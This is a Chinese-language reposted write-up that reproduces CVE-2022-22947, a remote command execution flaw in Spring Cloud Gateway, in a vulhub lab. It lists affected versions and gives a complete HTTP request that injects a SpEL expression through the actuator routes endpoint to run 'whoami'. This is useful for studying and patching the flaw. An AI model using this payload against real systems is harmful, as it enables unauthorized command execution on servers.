iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)
  • 345
分享到

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

Python 官方文档:入门教程 => 点击学习

摘要

目录漏洞描述环境搭建漏洞复现声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。 漏洞描述 使用sp

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

使用spring cloud Gateway的应用程序在Actuator端点启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。

当攻击者可以访问actuator api时,就可以利用该漏洞执行任意命令。

影响范围

spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

环境搭建

漏洞环境搭建,采用vulhub,搭建方法,自行搜索。

搭建成功后,访问一下

漏洞复现

1.查看actuator端点是开启的

抓包,并修改接口为/actuator

2. 查看/actuator/gateway/routes

返回的路由信息,意思是当访问index时,路由到Http://example.com:80

3.创建路由

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.10.171:8080
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/WEBp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/JSON
Content-Length: 431

{
    "id": "test",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

4.刷新路由

5.访问创建的路由

6.删除路由

7.再次刷新路由

8.然后,访问该路由,发现路由已被删除

到此这篇关于Spring Cloud Gateway远程命令执行漏洞(CVE-2022-22947)的文章就介绍到这了,更多相关Spring Cloud Gateway远程命令执行漏洞内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

本文链接: https://www.lsjlt.com/news/200263.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)
    目录漏洞描述环境搭建漏洞复现声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。 漏洞描述 使用Sp...
    99+
    2023-03-19
    Spring Cloud Gateway远程命令执行漏洞 Spring Cloud Gateway命令执行漏洞
  • Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)的过程解析
    目录1.漏洞描述2.影响版本3.漏洞环境搭建4.漏洞复现5.修复方案1.漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring...
    99+
    2024-04-02
  • SpringCloud Gateway远程命令执行漏洞源码分析
    这篇文章主要讲解了“SpringCloud Gateway远程命令执行漏洞源码分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“SpringCloud Gateway远程...
    99+
    2023-07-05
  • KDE4/5 命令执行漏洞 (CVE-2019-14744) 简析
    作者: HACHp1@知道创宇404实验室 日期: 2019/08/08原文链接:https://paper.seebug.org/1006/ 漏洞简介KDE Frameworks是一套由KDE社群所编写的库及软件框架,...
    99+
    2023-06-04
  • XAMPP远程命令执行漏洞
    漏洞描述: XAMPP v1.8.1 版本中存在安全漏洞,该漏洞源于程序没有正确限制对xampp/lang.php文件的访问。远程攻击者可通过‘WriteIntoLocalDisk’方法利用该漏洞修改xampp/lang.tmp文件,实施跨...
    99+
    2023-09-09
    php 安全 web安全
  • 漏洞复现 || eGroupWare spellchecker.php 远程命令执行漏洞
    0x01 阅读须知 我爱林的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统...
    99+
    2023-09-07
    php 开发语言 漏洞复现 网络安全 安全
  • Cisco Smart Install远程命令执行漏洞的示例分析
    这篇文章给大家介绍Cisco Smart Install远程命令执行漏洞的示例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。0x01 漏洞描述思科 IOS 和 IOS-XE 系统 Smart I...
    99+
    2023-06-19
  • ghostscript命令执行漏洞预警的分析
    这期内容当中小编将会给大家带来有关ghostscript命令执行漏洞预警的分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。0x00 漏洞背景8 月 21 号,Tavis Ormandy 通过公...
    99+
    2023-06-19
  • 学习远程命令执行漏洞笔记
    目录 1.命令执行漏洞描述 2.命令执行漏洞危害 3.命令执行漏洞代码分析   4.命令执行漏洞攻击 4.1;(分号) 4.2| (管道符号) 4.3&(后台任务符号)  4.4&&(逻辑与)  4.5||(逻辑或)  4.6`(反引号)...
    99+
    2023-09-06
    学习 php 开发语言 web安全
  • 如何进行spring-messaging远程代码执行漏洞分析
    这篇文章给大家介绍如何进行spring-messaging远程代码执行漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。0x00 漏洞概述2018年4月5日,Pivotal Spring官方发布安全公告,...
    99+
    2023-06-19
  • SpringFramework远程代码执行漏洞分析(最新漏洞)
    目录1.漏洞描述2.漏洞影响排查方法2.1.JDK 版本号排查2.2.Spring 框架使用情况排査3.解决方案3.1.版本升级3.2.缓解措施Spring Framework远程代...
    99+
    2024-04-02
  • ghostscript沙箱绕过远程命令执行漏洞的示例分析
    这篇文章将为大家详细讲解有关ghostscript沙箱绕过远程命令执行漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。0x00 漏洞背景11月21号,Semmle团队的安全研究员Ma...
    99+
    2023-06-19
  • 如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析
    如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。漏洞概述2019年...
    99+
    2023-06-04
  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)
    目录 一、漏洞介绍 二、漏洞环境搭建 三、漏洞利用 四、漏洞流量特征: 一、漏洞介绍 CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,...
    99+
    2023-09-02
    log4j apache 服务器
  • Gogs/Gitea远程命令执行漏洞是怎样的
    这期内容当中小编将会给大家带来有关Gogs/Gitea远程命令执行漏洞是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。0x00 漏洞背景11月05日,玄武实验室研究人员发现Gogs 和 G...
    99+
    2023-06-19
  • 如何进行Adobe Flash任意命令执行漏洞分析
    如何进行Adobe Flash任意命令执行漏洞分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。0x00 事件描述2017年10月16日,Adobe发...
    99+
    2023-06-19
  • Adobe ColdFusion 任意命令执行漏洞的示例分析
    这篇文章将为大家详细讲解有关Adobe ColdFusion 任意命令执行漏洞的示例分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。0x00 事件描述Adobe ColdFusi...
    99+
    2023-06-19
  • weblogic 远程代码执行漏洞的示例分析
    本篇文章给大家分享的是有关weblogic 远程代码执行漏洞的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。0x00 漏洞概述今天,Oracle已经发布了季度...
    99+
    2023-06-19
  • 禅道系统权限绕过与命令执行漏洞分析
    漏洞概述 禅道是第一款国产的开源项目管理软件,也是国内最流行的项目管理软件。该系统在2023年初被爆出在野命令执行漏洞,官方已于2023年1月12日发布了漏洞修复补丁。该漏洞是由于禅道项目管理系统权限认证存在缺陷导致,攻击者可利用该漏...
    99+
    2023-09-07
    php 安全 web安全 Powered by 金山文档
  • 如何分析最新log4j2远程代码执行漏洞
    本篇文章给大家分享的是有关如何分析最新log4j2远程代码执行漏洞,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。问题描述在12月9日晚间出现了Apache Log4j2 远程代...
    99+
    2023-06-25
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作